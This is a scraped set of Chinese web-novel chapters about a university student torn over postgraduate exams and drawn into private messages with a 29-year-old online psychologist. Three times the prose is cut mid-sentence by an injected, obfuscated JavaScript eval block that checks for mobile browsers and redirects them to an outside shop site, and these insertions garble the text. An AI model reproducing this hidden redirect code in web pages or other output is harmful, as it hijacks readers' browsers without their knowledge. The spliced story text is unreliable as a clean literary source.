另外两个室友一前一后回来,跟她一侧的叫虞沁,北方人,长得很高,是个妥妥的理科学霸。 另一个叫江悦,喜欢打游戏和磕CP,一天换八百个老公,个个都是一米八有腹肌的大帅哥。虽然是南方人,但身高也勉强过了一米六。 整个寝室只有栗雨是一米五开头。 不得不说她们四个还是挺有缘分的,虽然专业不完全相同,魏琪和栗雨是数学系,虞沁和江悦是计算机系,但名字都是两个字,而且都很喜欢看网络小说,经常在一起讨论。 见虞沁和江悦都一脸疲惫的样子,栗雨主动跟她们打招呼:“你们回来啦,怎么都无精打采的?” 果不其然,两人见栗雨这么晚还没睡觉都一愣。 随后,虞沁摇了摇头,一副生无可恋的样子说:“无穷级数我是真的学不下去了。” 说完,她开始收拾自己的书桌。 虞沁的书桌也很整齐,但跟栗雨的风格完全不同。她的书桌没有其他装饰,甚至连一个收纳盒都没有,视线所及之处几乎全是书,而且大部分是学习用书,尤其是考研复习资料。 什么英语黄皮书、考研英语高频词、数学基础30讲、考研数学真题等等等,各种颜色的大厚本堆了好几沓,几乎快把整张桌子都堆满了…… 江悦紧跟着叹了口气:“我为什么这么想不开给自己找了个实习呜呜呜,跟富二代谈恋爱不香吗?躺平不香吗?” 说着说着,她似乎说服了自己,握拳道:“从今天开始我要努力当咸鱼!” 一直沉浸在音乐中的魏琪恰好摘下耳机,她忽然转过身,一脸惊讶地问江悦:“你跟你男朋友分手了?” 提起这个,江悦不耐烦地蹙了蹙眉:“早就分了,一天天的,就爱管闲事,少爷病多得很,我再也受不了了!” 正在收拾书桌的虞沁无情点破:“你上次也是这么说的。” 栗雨点头表示赞同。 江悦无辜地眨了眨眼,无比认真地举手发誓:“这次绝对是真的!我为了逃避恋爱都逼自己去实习了。” 魏琪笑着看向栗雨:“小雨,你现在可是咱们寝室唯一一个陷入爱河的了。” “嗯……”栗雨不好意思地小声说,“其实,我也分手了。” 江悦竖起八卦的耳朵:“什么时候的事?” 栗雨解释道:“就今天,刚分。” 闻言,虞沁耸了耸肩,她是四人寝里唯一一个母胎单身了,此刻,却一副看破红尘的样子:“恋爱确实没什么谈的,还是好好学习吧,靠男人不如靠自己。” “话说得倒是不错。”江悦扶额仰天长叹,“不过习也没什么好学的,就这数学公式也就你能看懂了,也不知道我当初为什么一时冲动报了计算机?” 魏琪:“不会是为了爱情吧。” 虞沁:“不会是为了爱情吧。” 栗雨:“不会是为了爱情吧。” 江悦被三人的默契调侃弄得不好意思起来:“哎,好了好了,我去洗澡。” 她连忙换好睡裙,提着洗浴工具,一溜烟钻进了浴室。 魏琪轻声笑着对二人说:“你们猜几天?” 她比了个“1”的手势:“我猜一周。” 虞沁回:“那我两周。” 栗雨嘟嘴:“我猜一个月吧。” “好了不说了,我也要去洗澡了,明天我还要早起背英语单词!”虞沁握拳给自己加油打气,“我一定要考上南华大学计算机系!” 栗雨:“加油。” 魏琪:“加油。” 夜渐渐深了,不知道为什么,栗雨今晚竟然一点睡意也没有。 按理说,跟冯瑞的事情已经解决,她应该感到放松才是。 可是,她觉得好像还是有什么东西压在她的胸口,让她喘不过来气。 栗雨一边大口呼吸,一边潜意识告诉自己要放松要放松。 今晚一定要好好睡觉,新的一周又要开始了。 或许正如“有风”所说,现在,她只需要好好休息。 然后,开始准备奔赴新的征程。 栗雨想,她明天一定要好好做近期的人生规划。 然后跟一切的不愉快告别。 她开始闭上双眼强迫自己睡觉,可每次刚想睡着,就会突然从浅睡状态中惊醒,在她还没反应过来的时候,眼角已经有连续不断的眼泪滑落。 她把被子裹得更紧,整个人在床上缩成一团,睫毛轻轻颤抖着,像蝴蝶在扑闪翅膀。 蝴蝶飞啊飞,最终飞到一片五彩斑斓的绿洲,眼前的黑暗渐渐被多彩的影像替代。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932482|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那个充满生机的世界里,栗雨抱住了妈妈。 她努力踮起脚尖,张开双臂,紧紧抱着。 妈妈跟从前一般温柔,软声细语地跟她说:“小雨,你要好好生活啊。” 栗雨把脑袋埋在她的胸口,她的身高刚好到妈妈的胸前。 耳朵紧紧贴着她的心脏,她在感受那里强有力的跳动。 栗雨闭上双眼,跟她说:“我会的妈妈,我会的。你也要好好治疗,我们还要一起去看雪呢。等到春天,我们就一起去看雪。” 她声音很轻,像呢喃,稍微被风吹一下就消散了,但她知道风会把她的声音传递到任何人心中,包括她自己。 闻言,妈妈却笑话她:“春天哪里会有雪?” 栗雨笃定地说:“有的,会有的。” 她嘟着嘴,带着些孩子气的倔强,额前的刘海被风吹到一边。 妈妈说到时间了,她要去上班了。 栗雨跟她挥手,说自己会好好生活,让她不要担心。 她的人生还有很长,还有很多必须要做的事等待她去做。 她会一件一件完成,并且做到最好。 然后坚信,奇迹发生。 …… /// 十二点的钟声一响,坐在沙发上看书的时有风才发现,原来距离“粉色云朵”发来“谢谢”的表情包已经过去一个半小时了。 就在刚刚,他还察觉到自己竟然很期待“粉色云朵”再主动过来找他。 他相信很快了。 时有风捏了捏眉心,然后无奈地勾唇笑笑。 虽然他也不知道自己为什么会决定回复“粉色云朵”的私信。 罢了。 就当是攒人品做好事吧。 他抿了一口水,刚把杯子放下,就察觉到他的合租室友,也就是他的小外甥周言熙,一脸睡意地从卧室走出来。 周言熙穿着一身卡通睡衣,看到他时愣在原地:“不是小叔叔?大半夜的你还看书,不睡觉啊?” 时有风不发一言,只是轻轻瞥了他一眼,视线继续落到书上。 见时有风没理他,周言熙自顾自地走到客厅接了杯水,然后朝他竖起大拇指:“牛!高精力人群。” 时有风轻启薄唇:“对于一天睡十二个小时以上的你来说确实是。” 周言熙:“……” 周言熙尴尬笑了笑,忽然快步走到时有风身边,在离他大概一个拳头的位置坐下。 然后信誓旦旦地说:“小叔叔,我跟你讲,从明天开始我决定改邪归正重新做人了!” “睡觉哪有看美女重要?我们数学系的系花可漂亮了,刚刚看她室友发的朋友圈,说她又恢复了单身,我决定从明天开始努力追她!”说着,他捋了捋袖子,一幅大展身手的样子。 闻言,时有风抬眸看了他一眼:“说吧,什么事?” “嘿嘿,小叔叔,什么事都瞒不过您。”周言熙一脸讨好地笑着,若不是知道时有风讨厌别人的触碰,此刻的他说不定已经抱着他小叔叔的大腿狂蹭了。 “你这几天早上做的三明治还挺好吃的,要不明天继续做呗,我给我女神带一块,她好像在减脂,而且比较喜欢吃西餐,要不然我就去食堂给她买了。” 时有风无情拒绝道:“不做。” 说完,视线再次落到书上,他已经快把《加缪手记》第二卷读完了。 “作为交换我可以给你看我女神的照片。” 时有风连眼也没抬:“没兴趣。” 周言熙才不管他有没有兴趣,直接把手机放在他眼前,盖住他读书的视线。 “看嘛看嘛~~是不是很漂亮?” 时有风蹙眉,刚打算把手机拿开,结果看到照片,却是一愣。 是她。 虽然只见过一眼,但他还是认出来了。 是今天在公交站跟他对视的那个小姑娘。 照片上的女孩儿戴着生日帽,手里托着粉色草莓蛋糕。 眉眼弯弯,笑得单纯浪漫。 心底一层厚厚的冰川开始融化,时有风突然想到一种贴切的形容,是“粉色云朵”在“绿洲”上发表的一条动态—— 今天的心情是蓝色的,至于为什么是蓝色的呢?他也讲不清楚,但事实就是今天的心情是蓝色的。 时有风不由勾起唇角,那为什么叫“粉色云朵”呢? 怎么不是“蓝色云朵”? 他逐渐疑惑,云朵怎么会是粉色的? 8. 有风 今年年初,时有风开始被家中亲戚长辈疯狂催婚,尤其是周言熙的妈妈,也就是他的表姐。 他现在还能回想起她们合起伙来喋喋不休的样子,简直就像魔咒,让他头痛欲裂。 时有风也为此感到无可奈何。 他知道这不是第一年,也不是最后一年。 本打算今年过年去外地出差躲躲,但就在刚刚,他突然改变了主意。 在“恋爱关系”里,比起过度寻求生理上的爽和刺激,时有风更倾向于寻找让他相处起来舒服的人。 他更尊重自己的感觉,更愿意成为一个做好万全的准备之后,等待猎物主动上钩的猎人,而不是主动出击。 这样才更有意思。 心倏然一紧的感觉提示着他,已经有猎物落网了。 …… “小叔叔!” 周言熙叫第三声的时候,时有风终于抬眼看向他:“嗯?” “你居然笑了。” 周言熙第一次见时有风看到女孩子的照片乐成这样,别提有多震惊了,下巴恨不得落到地上。 时有风轻咳了声,淡淡道:“你看错了。” 他推开手机,低头继续看书,却发现自己已经忘记读到哪里了。 “哦,好吧。”周言熙丝毫没有怀疑。 毕竟,他小叔叔可是“万花丛中过,片叶不沾身”,十分“洁身自好”。 “怎么样?我们系花是不是很漂亮?我是不是跟她挺配的?毕竟我也是那么帅气。” 时有风瞥他一眼,随手把书放在一边,然后站起身说:“赶紧洗洗睡吧,你明天早八。” 周言熙:“……” /// 这一夜,栗雨仍在连续不断的梦魇中历险,她睡眠极浅,时不时在梦中惊醒,又很快在梦中睡去。 醒来的时候已经七点四十五了。 她来不及刷牙洗脸,赶紧穿好衣服,拎着包就往教学楼跑。 魏琪早已经帮她占好座位,一看见她进教室,朝她招了招手。 栗雨走过去,刚坐下,就听到魏琪问:“小雨,你昨晚没睡好吗?眼睛都快成大熊猫了。” 她低头从书包里拿书,企图蒙混过关:“可能是睡得晚了,没睡好。” “给。” 手里突然被塞了一块三明治,栗雨抬头:“嗯?” 魏琪解释说:“这次是周言熙给的,你一块我一块。” “周言熙?”栗雨对这个名字似乎有点印象,大二上学期跟她们一起做过小组作业。 虽然跟她们同龄,但性格却跟个小孩子似的,有点矫情,经常因为一点小事就跟魏琪斗嘴。 栗雨察觉到身后一直有一束炽热的目光,她转头,果然看见一个男生在对她笑。 她朝他点点头,对这块三明治表示感谢。 这可把周言熙激动坏了。 他忍不住给时有风发微信炫耀。 【西山远:小叔叔!我女神对我笑了!】 然后收到了一串无情的省略号。 星期一上午只有数学分析一门课,九点四十下课。 下课后,魏琪要去找老师讨论大创项目,栗雨自然而然落单。 跟魏琪说了再见之后,她开始昏昏沉沉地收拾书包。 没有什么比大学学了不喜欢的专业更让人痛苦的了。 数学公式像是天书,偏偏老师每节课都要写板书,密密麻麻的,能把整张黑板全都写满。 栗雨懒得记笔记,反正她基本都是左耳朵进右耳朵出,但她下课后都会把板书拍张照存起来,当作心理安慰,尽管她知道自己日后也不会看。 她颓丧地想,连自己都学不会,别说教学生了。 栗雨把蓝牙耳机塞进耳朵,给自己点了一首林俊杰的《学不会》,坦然接受现实。 走出教室,她开始认真思考,与其说思考,不如说怀疑。虽然她乐于奉献,但是当老师似乎真的不行。 她现在也不想考公。 实习更是毫无头绪。 那怎么办呢? 似乎,只有考研这一条路了。 …… 西延师范大学校园面积不大,教学楼很集中,数学学院跟物理学院在同一栋综合大楼上。 一出学院就是校内最宽广的一条大道——“梧桐大道”。顾名思义,道路两边被高大的梧桐树环绕着,像在为青年的梦想遮风挡雨。 下课之后,学生从教学楼内鱼贯而出,一大半都去学院对面找自己的电动车。 因为学校里坡道很多,而且坡度都很陡,走路不太方便,所以大部分学生都拥有自己的小电车。 栗雨没买,她觉得抢充电桩太麻烦了,而且比起骑电动车,她更乐意在校园里走一走。 很快,她混入人群之中,周围的同学大多结伴而行,有说有笑,尽管她独自一人,也不觉孤独,反倒内心安宁。 安宁的感觉让她想轻轻闭上眼睛,感受风在空气里的流动。 大学生活应该是这么美好的。 一切都能被治愈,一切都能原谅。 没一会儿,栗雨就走到了咖啡馆门口。 她挑了个靠窗的位置坐下,点了一杯黑咖啡和一个芋泥贝果。 栗雨今天带了平板、笔和本子。 这三样是她出门自习必备的东西,偶尔也会带一两本书。 平板是ipad加pencil,因为她比较喜欢用procreate绘画,这点对她很重要。 笔除了黑色的中性按动笔之外,还有五颜六色的中性笔、柔绘笔和荧光笔。 她喜欢用各种颜色来填满空白。 本子是空白本,用来记“AllinOne”——最近几年流行的记笔记的方式。 她比较喜欢这种极简且能梳理自我的理念。 除了空白页,她还比较喜欢用方格本,因为这样写字更自由,而不是用横线把自己的文字都框在一个狭小的空间里。 就像她生来就是自由的,不喜欢被约束。 …… 栗雨常常喜欢用“云”、“雨”、“叶”等等来形容自己,因为自然界的一切都是流动的,是自由的。 她还喜欢一种形容“自由如风”。 或许这也是当初她关注“有风”的原因,因为他名字里带有一个“风”字,而她是随风流动的云,是为风坠落的雨,是因风起舞的叶。 栗雨抿了一小口咖啡,先在本子上方写一行字“11-10,今日份记录”。 写好之后,她打算先吃完贝果再继续思考接下来的内容。 栗雨是重度的芋泥控,简直百吃不厌。 她不喜欢吃太甜或者太咸的东西,而是喜欢味道“恰好”的东西,就像哲学里说的“中庸之道”。 咖啡馆里做的贝果基本都用的全麦粉,而芋泥则是用荔浦芋头加紫薯粉再加糖粉制作而成,且一般而言糖粉放的不多,基本尝不出来甜味,所以还算比较干净健康。 美食大概是栗雨体内多巴胺的主要来源,快乐的填充让她渐渐从没睡好的烦躁中走出来。 末了,她似乎有了灵感,把吃了一半的贝果放在一边,然后飞速写下几行字。 栗雨的思维很活跃,有趣的点子和灵感也多,她很珍惜这些。 因为稍纵即逝的都显得弥足珍贵。 像风一样,抓不住就消失了。 /// 咖啡馆里的人越来越多了,还有不少人把这里当聊天室。 旁边来了对情侣,虽说在讨论学习,但有说有笑的,让栗雨有些心烦。 很快,他们讨论到了“考研”以及“就业”的问题。 女生苦恼地说:“我本来打算直接就业的,但今天去招聘现场转了一圈,发现西延的好多高中都只招研究生,只有一些私立学校要本科生。所以我就打算考研了……” 男生说:“正常现象。不过考研也不难,好好准备问题不大。” 女生夸了句“大佬”,随后又问道:“可是我感觉数学一挺难的,尤其是微积分,快给我传授经验,带我上岸。我也想考西大。” 原来那男生是隔壁西大的,栗雨想。 西延市的大学都很集中,像西延大学,西延师范大学,西延理工大学等基本都挨着。只不过学校比较大,有好几个校区,在地图上看着似乎隔得很远。 男生脱口而出:“小意思。西大也很简单,有手就能考上。” 栗雨:“……” 算了,人与人之间的差距。 好在她从不喜欢与人比较。 把咖啡喝完之后,栗雨决定塞上耳机,收拾东西回寝室。刚巧一到寝室,栗平康就给她打来电话。 他们讨论了三十多分钟关于妈妈余婉如的病情,一边互相劝彼此做好长期打算,一边又饱含希望,觉得胜利就在前方。 不确定太让人痛苦了。 谁都不知道未来会怎样。 可就是这种确定的“概率”,带来了独属于不确定的“概率浪漫”。 栗平康忽然问:“你们是不是快期末考试了?” 栗雨点头:“嗯。” “你好好准备考试,千万别分心。” 栗雨本能的对家里长辈关心她的学业而感到压力。 “考研的事考虑的怎么样了?其实你们学校就挺好的,最起码是个211。” 栗雨想尝试为自己争取:“我有点想跨专业,我不喜欢数学。” 栗平康似乎也没反对,而是问道:“那你打算跨什么专业?” 栗雨思考了会儿,不确定地说:“文学,或者传媒之类的都可以吧。” 栗平康说:“有些事情不是你想象得那么简单,别人学了四年,你什么都没学,一切都要重新开始,而且文学肯定报考的人更多,竞争压力大,我劝你还是仔细考虑一下。” 一听栗平康这么说,栗雨的心瞬时慌乱了。 挂断电话,栗雨打开电脑,连上校园网之后,打开研招网搜索跟考研有关的信息,比如招生院校、招生专业、人数以及参考书等等。 末了,她又在小红书上学习一些经验贴。 她发现一个普遍规律—— 就招生人数而言,211院校的招生人数相对多一些,而985的很少,基本就招七八个人,参考书更多,题目更难,分数也卷。 就招生专业而言,文学参考书比数学的多很多,985学校基本都是二十本起步,211学校的虽然少一些,但也有七八本,再算上课外拓展资料,要看的书也不少。 而相比之下,他们学校的数学专业就明朗多了,参考书基本都学过。 显而易见,文学侧重读背,内容更多,而数学侧重计算,熟能生巧。 考985的难度远远大于考211难度,考文学的难度大于等于考数学的难度。 考本校数学专业的难度小于一切。 其实,栗雨有点想报考985,因为她想弥补高考失利的遗憾。 说来也挺恼人。 她第一天发挥得还不错,但第二天因为中午没休息好,下午状态不行,而她做英语又很吃状态,再加上有点紧张,竟然不小心涂错了答题卡,只考了一百一十多,比平时少考二十分。 总分607分,只能报考211。 这个遗憾一直让她耿耿于怀,想着在考研的时候一雪前耻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932483|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可是,考研的沉默成本太大了。 栗雨开始纠结,万一985没考上,二战的话岂不是更加痛苦? 如果二战还没上岸她二十几岁的大好年华就这么“浪费”在备考上了么? 栗雨不喜欢做选择题。 因为选择总是对立的,是非黑即白的。 天秤的两端总是左右摇摆,举棋不定。 可人生并不是非黑即白。 况且有时候,“试错”成本很高。 思索许久,栗雨决定关掉电脑,让大脑放空。 /// 不知道是不是越害怕什么,什么就越来势汹汹。 栗雨这几天反复听到有关“考研”“就业”“考公”的讨论,仿佛上大学最终就是为了这些一样。什么考研人数越来越多啦、就业环境不好,越来越卷、985211大学生找不到工作的工资低的比比皆是…… 明明才迈入大学生活两年多,有关社会的信息忽然汹涌而至,让人猝不及防。 还没反应过来,就已经站在人生重要的十字路口。 轻飘飘的几个字化成了高耸的山重重压着栗雨,让她整个人陷入深度焦虑和混乱之中。 明明冯瑞没有再来骚扰她,她竟然还是会莫名烦躁。 她也尝试买一些参考书,强迫自己主动学习,可没学几天情绪就会崩溃。 无处发泄,无人理解。 最后,栗雨可悲地发现,她好像还是没办法从之前的状态中抽离出来。 听起来如此简单的“好好生活”,她好像根本就做不到。 仿佛她用一座孤岛将自己与世界隔离了,而她本身又没有管理自己小世界秩序的能力。 怎么办? 大三上学期马上就过完了,接下来她应该怎么做呢? 栗雨又浑浑噩噩地熬过了这周的课程,直到周五下午栗平康再次给她打电话,问她想好考哪里了没有。 栗雨保持沉默。 以她的脾气,如果栗平康跟她说这些,她肯定会选择顶嘴几句,但是现在,她不能再给家里添乱,也不想再让栗平康为自己的事担心。 她不得不压制自己的情绪,承受压力,然后继续把生活过得一团糟。 尽管她解决了跟冯瑞的感情问题,但似乎,这个问题只是她这座孤岛的冰山一角。 更可怕的是,她被大雾包围了,看不清自己与世界的距离,甚至更看不清自己。 挂断电话,栗雨抓着头发,一边忍着,一边呜咽。 好像开学才捡拾起来热情,在今年的这个冬季全然消散了。 她甚至不能接受自己情绪的崩溃,紧咬着唇,抓起桌子上的耳机戴在头上,点开网易云,播放《花之舞》。 她只能用这么简单又笨拙的方法,企图拯救自己。 急促又高昂的钢琴声从听筒缓缓传来,像一条蜿蜒无尽的长河。 而她身处长河之中,一边呼救,一边探寻。 时而伫立于高山之上,时而又跌落谷底。 每当她接近岸边,总有更强大的力量把她推向深处,让她濒临溺水的边缘,只能眼睁睁地看着自己无限下坠。 眼泪无声地流,流到不能自已。 她很痛,痛到讲不出任何话。 栗雨只能用文字来宣泄。 她在本子上飞快写下了一句话,字体潦草得只能看清笔画的大概线条。 然后关掉灯,趴在桌子上。 恍然间,手机屏幕闪了闪,有一束光突然照进了栗雨的世界—— 【您关注的“有风”发布了新动态。】 栗雨打开“绿洲”,“有风”的动态一下子跳进了她眼里。 【有风:当你想流泪的时候,抬头看看月亮吧。然后好好睡觉,明天又是新的开始。月亮永远在为明天赋予浪漫,用浪漫战胜夜晚是这个世界上最浪漫的事,你的存在就像月亮,永远独一无二,永远别有意义。】 栗雨的心跳倏然停了一秒,她下意识转过头,抬眼一看,真的有月亮。 又圆又亮。 濒临溺水的她仿佛抓住了救命稻草,栗雨笑起来,心说,不流泪的时候也想看看月亮。 她拿起手机拍了一张动态图,她也不知道自己为什么会这么做,但是身体已经本能地做出行动。 她把刚刚拍到的动态图私发给了“有风”。 【pinkcloud:月亮是很漂亮,要是有星星的话就更好了。】 “有风”的回复像是一场“及时雨”。 【有风:谁说没有的?只是你没看见。】 有吗? 栗雨跑到阳台上仔细找了一圈。 【pinkcloud:哪有?】 【有风:在这里呢。】 “有风”发来了一张图片。 栗雨点开一看,竟然是她头像云朵上的星星帽子。 她终于笑起来,眼睛弯弯的宛如月亮,只是月亮渐渐融化,流淌出晶莹的泪珠。 不知道是不是看不清屏幕让她的胆子变得大些了,栗雨问道。 【pinkcloud:我可以再问您一个问题吗?】 【有风:我现在有点事,你可以先给我留言。】 栗雨擦了擦眼泪,快速回到座位上。 她开始专注思考,认真打字。 外边似乎又起风了。 她重新把桌面上的台灯打开。 刺眼的白光照在她的本子上。 照亮了笑脸贴纸旁边,一句笔墨还没干的话—— “如果我从未有过的对生活的热情,在这个冬季消散,那我就用雪造个城堡,把自己,藏起来……” 9. 有风 栗雨本能地用隐藏自己的方式进行自我保护。 虽然有时候她表现得特别依赖别人,但却无法完全信任任何人,更别说交出自己了。 …… 打打删删,十分钟过去了,对话框里的文字还是寥寥无几。 栗雨又开始一字一句地斟酌起来,她要保证在不透露自己过多隐私的情况下,尽量把问题描述得详细全面。 半个小时后,她终于整理出一些问题。比如,该怎么调整自己的状态、选哪个专业、怎么平衡考研和爱好之间的关系等等。 发送成功后,栗雨长舒一口气。 “有风”果然已经下线,她关掉“绿洲”,正准备关灯的时候,视线忽然落到“今匠文学网”的图标上。 栗雨其中一个身份是网络小说签约作者,今年七月十七日签的约。迄今为止,第一本小说已经更新到了十万字。 这本小说是她为了签约写的,当时她特别喜欢看沙雕文,于是就想了本文风稍微轻快的脑洞,可是写着写着,她突然觉得小白风的小说似乎不太适合她,再加上妈妈生病,她根本没有状态写这种轻松的小说。 断更两个多月了,评论区没什么人催更,收藏也只有可怜的两位数。 栗雨叹了口气,谁让写小说是她的爱好呢?虽然她也不知道,如果将来还是没有读者的支持自己会不会一直坚持到最后,但至少现在的她不会放弃。 完美主义强迫症的她不允许自己弃坑任何一本小说。栗雨决定让自己行动起来,不能再颓废下去了,她打开电脑开始写作,但思绪的断片让她产出困难,坐了一个多小时,最终只写出来几百个字。索性又关掉电脑,栗雨站起身给桌面上的水培椰子树换了水。 打开手机,“有风”没有回复。 她又开始写日记。 晚上十点多,“有风”还是没有回复,这已经是她第七次打开“绿洲”了。 把跟“有风”的聊天框加上特别关注和置顶。 栗雨决定上床睡觉。 /// 新的一周又开始了,栗雨的状态虽然比上周好了点,更新了几千字小说,交了一门期中作业,但大多时候还是在床上度过,抱着手机百无聊赖地刷“绿洲”,有人过来找她聊天,她就象征性地回几句,但她最期待的对话,依旧没有动静。 这一等就是一周。 栗雨终于在周五上午收到了“有风”的回信,就在她刚刚睡醒打开手机看时间的时候。 她一下子清醒过来,点进他们的聊天框。 【有风:抱歉。我去外地出差了,刚回来。】 看到消息内容,栗雨愣了愣。 他是在跟她解释这么多天不上线的原因吗? 末了,她一点一点勾起唇,没想到自己长达一周的等待居然会得到一个合理的解释。 像是油画纸上的水墨突然晕染开,栗雨的心情随之荡漾。看着上方的输入状态,开始期待他的回答。 他究竟会怎么回复呢? 很快,画纸上呈现出新的图景。 【有风:这就是一直困扰你的事?】 【有风:你内心不是已经有答案了么?】 这个回答同样让她出乎意料,栗雨瞪大双眼,有点摸不着头脑。 【pinkcloud:什么意思?】 “有风”不答反问。 【有风:你喜欢什么专业?】 栗雨下意识回答。 【pinkcloud:文学。】 【有风:那这就是答案。】 栗雨有些震惊,不明白自己怎么都想不通的问题,“有风”竟然就这么简单直白地告诉了她答案。 不过,她不觉得他说的话完全正确。 【pinkcloud:可是其他的专业,比如传媒、艺术设计之类的我也很喜欢。】 这些都是实话。 对于她而言,没有“最”,只有“都”。 “全都”。 为什么她感兴趣的事会这么多呢? 【有风:你要学会坚定自己的信念。】 【有风:你心里已经有答案了,只不过不太坚定不是么?】 栗雨不知道是不是对这个回答不满,仍想要辩驳一番。 【pinkcloud:可是我想考985,如果跨专业的话难度很大。】 【有风:为什么非得985?硕士211就够了。】 “有风”的回复速度很快,几乎没有给栗雨思考的时间。 【pinkcloud:因为我想弥补遗憾。】 【有风:那就好好想想,一战失败的后果你能不能承受?】 一战失败的后果能不能承受…… 能不能? 沉浸在辩论中的栗雨顿时头脑轰鸣。 “有风”总是一针见血地指出问题,栗雨的脸一下子红了。 她下意识告诉自己的答案是:不能。 她既想要选一条很难的路,又想要有一战上岸的把握。她既喜欢文学写作,又喜欢艺术设计。她既想要自己的人生光彩艳丽,又畏惧挫折。 她活在幻想之中,又在现实中纠结,游移不定。 【有风:人生并没有两全其美的办法。】 【有风:追求完美本就是一种荒谬的想法。】 栗雨确实是个完美主义者。 什么都想做到最好。 比如写小说总想着把最好的呈现出来,所以告诉自己先学习再行动;日常生活中恨不得每时每刻都是积极的状态,一心情低落就怀疑人生,觉得自己一无是处;再比如,她努力健身想让自己变漂亮,一吃放纵餐就会后悔;企图琴棋书画样样精通,不断为自己的“人生值得”加码,一旦“浪费”时间就谴责自己。 她总是为自己的“错过”增加存在感。 可,人生是有缺口的。 每个人都有藏在内心深处的秘密。 不可能存在“十分完美”的状态。 就算211又如何? 就算一辈子都很普通又如何? 又能怎样呢? 追求完美等同于荒谬。 她虽然长得不算漂亮,比不过网红,但皮肤很好,有一张圆圆的娃娃脸,显得清纯又可爱。 虽然学业上比不过985的学霸,但也不算太差,最起码是211。 虽然她没什么特别大的成就,但找到了“写作”这个她愿意为之努力的热爱。 虽然她没有特别拿手的技艺,但钢琴、书法、画画都不算太差。 “平庸”从来不是一个贬义词。 栗雨渐渐说服自己接受这个答案,但还是狠不下心做出“选择和放弃”的决定。 她发了个“叹气”的表情包。 【pinkcloud:您说的对。但我觉得做选择还是很难。】 【有风:没有人能帮你做选择。】 “有风”的回答显得冷漠无情。但很神奇,他有赋予语言感情色彩的能力。 【有风:选择是唯一的。就像谈恋爱一样,你喜欢他,他就是你的唯一选择。】 前一秒还在失落的栗雨下一秒便兴奋起来。 像谈恋爱一样么? 曾几何时,栗雨幻想中的恋爱该是美好的。虽然跟冯瑞交往了两个月,但她仍然不知道她想要的恋爱到底是什么样子。 【pinkcloud:我对感情很懵懂,不明白喜欢一个人是什么感觉。】 看到“粉色云朵”的回答,时有风差点没笑出声,他真的很好奇这小姑娘究竟是什么脑回路。 【有风:那你为什么决定要私信我?我为什么是你的唯一选择?】 栗雨呆住,心不由自主地扑通扑通跳起来。 【pinkcloud:您怎么知道我只私信了您?】 【有风:很难猜吗?】 她哑口无声,只觉得震撼。 当不了解一个人的时候,对他是带有自己的幻想的。一开始,栗雨幻想他是神圣的,像个救世主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932484|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样突然闯进自己的世界里,替她解决一切难题。再然后,她似乎被一种很奇妙的感觉包裹,像草莓果冻。 至于现在是什么呢?她也说不上来。 只是想要得到一个答案吗? 还是…… 喜欢? 这两个字冒出来的时候,栗雨再次愣住。 【pinkcloud:我只是懒得再问别人。】 连她自己都觉得这样的解释太苍白无力。 【有风:嗯。】 “嗯”是什么意思?他相信了吗? 【有风:至于怎么复习考研不用我教你了吧。】 这是默认这个问题已经解决了? 栗雨回复了一个“好的”的表情包。 【pinkcloud:可是我……我觉得我还是想不明白。】 【pinkcloud:还有怎么平衡时间的问题,我有自己的兴趣爱好,我没办法一整天时间都用来学习。】 【有风:这些问题你可以自己搜索和询问别人。】 【有风:自己搜索相当于自己面对问题时主动解决,这样在解决问题时会更全面和印象深刻。询问别的人相当于在拓展自己的思路,把别人的经历转变为自己的经验。】 【有风:生活中做任何事也是如此。当你面对任何问题都指望别人全部指点告知时,那你面对的问题将会越来越多,也会自认为越来越复杂,最终就会形成永久逃避。】 栗雨觉得他说的有道理。 【pinkcloud:谢谢您,我明白了。】 尽管还是拿不定主意,但她觉得自己内心的大石头忽然落地了。她从重度的纠结转向了思考自己怎么开始行动。 栗雨长舒一口气,对“有风”愈发好奇。 她又把“有风”主页的信息重新看了一遍,尽管她早就会背了—— 有风、男、29岁。 风起时,遇见你。 再加上前几天她得到的新信息:职业心理医生。 他真的29岁吗? 栗雨看着自己资料卡上的18岁陷入沉思。 她重回聊天框,见对方又回了个“嗯”,应该还没下线,于是打字问道。 【pinkcloud:那可以再冒昧问下您的年龄吗?】 【有风:29岁。】 他居然真的又回答了! 短暂的兴奋感冲击栗雨的大脑,让她不自觉抱着手机在床上翻滚了几下。 虽然她还是搞不清楚,自己究竟为什么去私信“有风”,但他确实是她互联网的兴奋剂,栗雨想。 而且是百发百中的兴奋剂,从不失手。 他的每一句话都如此巧妙地说在她的心坎上。 过度的兴奋让栗雨有些得意忘形,她似乎忘记了自己把握的分寸。 【pinkcloud:我可以听听您的声音吗?】 【有风:你是以什么身份提出这个要求?】 